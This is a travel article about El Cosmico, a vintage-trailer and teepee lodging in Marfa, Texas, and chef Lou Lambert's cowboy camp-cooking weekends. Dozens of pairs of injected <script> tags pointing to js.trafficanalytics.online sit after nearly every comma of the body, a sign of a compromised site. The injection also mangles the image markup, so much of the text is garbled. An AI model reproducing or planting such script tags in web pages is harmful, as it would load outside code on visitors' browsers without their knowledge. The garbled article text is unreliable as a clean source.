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Cooking with Cowboy Hipsters

by Shelley Seale

Artists, poets, writers and filmmakers have been flocking to the town of Marfa, near Big Bend National Park in West Texas, for more than a decade now. Marfa has grown famous for its film festival and the Marfa Lights, but it’s never tried to market or reinvent itself. Its cool, artsy appeal has grown organically.

Of course, with a destination as different as Marfa, there are some unusual places to hang your hat as well, such as El Cosmico.

El Cosmico is part vintage trailer court, part teepee campgrounds—a unique lodging concept that also includes a creative lab, greenhouse and amphitheatre, all situated in a community space that fosters artistic and intellectual exchange. It offers accommodations in renovated vintage trailers, safari tents, traditional 22-foot diameter Sioux teepees, and a number of tent campsites.

Cooking with Hipster Cowboys in Marfa, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Texas” title=”El-Cosmico-Marfa-Texas” width=”630″ height=”208″ class=”alignright size-medium wp-image-34423″ /></a></p>
<p>Visitors are encouraged to explore and use the communal spaces on the land, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> including an elm grove full of hammocks, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> a community lounge and mercantile, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and an outdoor kitchen and dining space. El Cosmico offers wood-fired Dutch hot tubs seasonally and, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> eventually a large pool and pavilion will lie at the Bedouin heart of the village.</p>
<p>El Cosmico also offers an evolving program of workshops and retreats ranging from sewing to cooking to art classes to writing workshops, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> with plans to add a silk screen workshop, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> pottery studio and darkroom. There’s also the Trans-Pecos Festival of Music and Love, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> held annually onsite.</p>
<p>Perhaps the best thing about El Cosmico is its embrace of the philosophy of <em>Mañana</em>. Mañana cannot generally be found in cities with more than one stoplight, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> which is all that Marfa has, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and is in general an exodus from the world of urgency. As the website states, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> “Mañana doesn’t care about email or normal hours of operation. Mañana recognizes that we can’t all have everything we want at any given moment, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> like peaches in January or cell phone reception in West Texas. Mañana is the anticipation that it might happen today, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and it might just as likely not, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and really either way it’s not that big of a deal.”</p>
<p>If Marfa has any sort of a cultural heritage, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> it is that of the cowboy—and guests can learn to cook like a cowhand on the range. Try your hand with a culinary weekend of Big City Camp Cooking, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> exploring the roots of West Texas flavour with renowned chef Lou Lambert. Campers will cook, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> eat and see how the landscape and culture of this unique place influences its culinary heritage, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> evolving from cowboy cooking to haute cuisine. </p>
<p><a href=Cooking with Hipster Cowboys in Marfa, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Texas” title=”cooking-El-Cosmico-Marfa” width=”630″ height=”208″ class=”alignright size-medium wp-image-34424″ /></a></p>
<p>Lambert—the creator of several award-winning restaurants in Texas—grew up in West Texas, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> spending summers on the family cattle ranch where he developed a passion for food while hanging out with the ranch cook. </p>
<p>“Just because I moved away from the ranch doesn’t mean I lost any passion for my family’s food, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script>” he says. “I think of cowboy cooking as the simple straightforward foods and outdoor cooking techniques used to feed the cowboys of the American west…grits, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> biscuits, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> grilled beef steaks, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> chili, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> chicken fried steaks, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> beans and Dutch oven cobblers. Most of the ingredients are pretty basic and regional. No fancy French cooking out on the range.”</p>
<p>Camp Cooking weekends will take place on March 8-20, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> May 31-June 2, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and August 9-11, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> 2013. </p>
<p><em>Photos courtesy of El Cosmico.</em></p>

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